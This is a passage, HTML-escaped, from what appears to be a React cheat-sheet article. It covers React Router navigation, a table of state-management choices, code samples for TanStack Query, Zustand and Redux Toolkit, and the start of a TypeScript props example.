      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;nav&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;NavLink&lt;/span&gt; &lt;span class="na"&gt;to&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"/"&lt;/span&gt; &lt;span class="na"&gt;className&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;isActive&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;isActive&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;active&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Home&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nc"&gt;NavLink&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;nav&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Outlet&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;/&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Product&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useParams&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;navigate&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useNavigate&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt; &lt;span class="na"&gt;onClick&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;navigate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Back from &lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Need&lt;/th&gt;
&lt;th&gt;Use&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Navigate without page reload&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;&amp;lt;Link to="/x"&amp;gt;&lt;/code&gt; (never a plain &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; for internal links)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Active link styling&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;NavLink&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Read URL params&lt;/td&gt;
&lt;td&gt;&lt;code&gt;useParams()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Read or set &lt;code&gt;?q=...&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;&lt;code&gt;useSearchParams()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Navigate from code&lt;/td&gt;
&lt;td&gt;&lt;code&gt;useNavigate()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nested layout slot&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;Outlet /&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;404 page&lt;/td&gt;
&lt;td&gt;&lt;code&gt;path: '*'&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;The old reference sheets use v5/v6 APIs like &lt;code&gt;Switch&lt;/code&gt;, &lt;code&gt;Redirect&lt;/code&gt;, &lt;code&gt;useHistory&lt;/code&gt;. Those are gone. Today: &lt;code&gt;Routes&lt;/code&gt;/route objects, &lt;code&gt;&amp;lt;Navigate&amp;gt;&lt;/code&gt;, &lt;code&gt;useNavigate&lt;/code&gt;. Older &lt;code&gt;react-router-dom&lt;/code&gt; imports still work in v6, and v7 re-exports them from &lt;code&gt;react-router&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  22. Data fetching and state management
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What kind of state is it?
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Kind of state&lt;/th&gt;
&lt;th&gt;Best tool&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Local UI (open/closed, input)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;useState&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Complex local logic&lt;/td&gt;
&lt;td&gt;&lt;code&gt;useReducer&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Shared by a few components&lt;/td&gt;
&lt;td&gt;Lift state up, or Context&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;Server data&lt;/strong&gt; (API responses)&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;TanStack Query&lt;/strong&gt; (or SWR, or framework loaders)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Global client state (cart, UI prefs)&lt;/td&gt;
&lt;td&gt;Zustand, Jotai, or Redux Toolkit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;URL-driven state (filters, page)&lt;/td&gt;
&lt;td&gt;Search params&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Form state&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;&amp;lt;form action&amp;gt;&lt;/code&gt;, or React Hook Form&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Most apps over-use global state. Server data is not global state. It is a cache.&lt;/p&gt;

&lt;h3&gt;
  
  
  TanStack Query
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;useQuery&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;useMutation&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;useQueryClient&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@tanstack/react-query&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Todos&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;userId&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;isPending&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;error&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useQuery&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;queryKey&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;todos&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;userId&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="na"&gt;queryFn&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`/api/todos?user=&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;userId&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Failed to load&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;isPending&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Loading...&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;;&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;ul&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;li&lt;/span&gt; &lt;span class="na"&gt;key&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;title&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;li&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;ul&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You get caching, deduping, retries, background refresh and invalidation for free.&lt;/p&gt;

&lt;h3&gt;
  
  
  Zustand (tiny global store)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;create&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;zustand&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;useCart&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;set&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;items&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[],&lt;/span&gt;
  &lt;span class="na"&gt;add&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;items&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[...&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;})),&lt;/span&gt;
&lt;span class="p"&gt;}));&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;items&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useCart&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// subscribe to a slice only&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Redux Toolkit (when you need the full toolbox)
&lt;/h3&gt;

&lt;p&gt;Use &lt;strong&gt;Redux Toolkit&lt;/strong&gt;, not plain Redux. &lt;code&gt;createStore&lt;/code&gt; is deprecated and old tutorials still show it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;configureStore&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;createSlice&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@reduxjs/toolkit&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;counterSlice&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createSlice&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;counter&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;initialState&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="na"&gt;reducers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;increment&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;        &lt;span class="c1"&gt;// Immer allows "mutation" here&lt;/span&gt;
    &lt;span class="na"&gt;addBy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;increment&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;addBy&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;counterSlice&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;actions&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;store&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;configureStore&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;reducer&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;counterSlice&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;reducer&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Provider&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;useSelector&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;useDispatch&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react-redux&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Provider&lt;/span&gt; &lt;span class="na"&gt;store&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;store&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;App&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="nc"&gt;Provider&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useSelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;dispatch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useDispatch&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nf"&gt;dispatch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;addBy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For async data in Redux, use RTK Query or &lt;code&gt;createAsyncThunk&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  23. TypeScript with React
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight tsx"&gt;&lt;code&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;ButtonProps&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;label&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;variant&lt;/span&gt;&lt;span class="p"&gt;?:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;primary&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;danger&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;onClick&lt;/span&gt;&lt;span class="p"&gt;?:&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;children&lt;/span&gt;&lt;span class="p"&gt;?:&lt;/span&gt; &lt;span class="nx"&gt;React&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ReactNode&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Button&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;label&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;variant&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;primary&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;onClick&lt;/span&gt; &lt;span class="p"&gt;}:&lt;/span&gt; &lt;span class="nx"&gt;ButtonProps&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
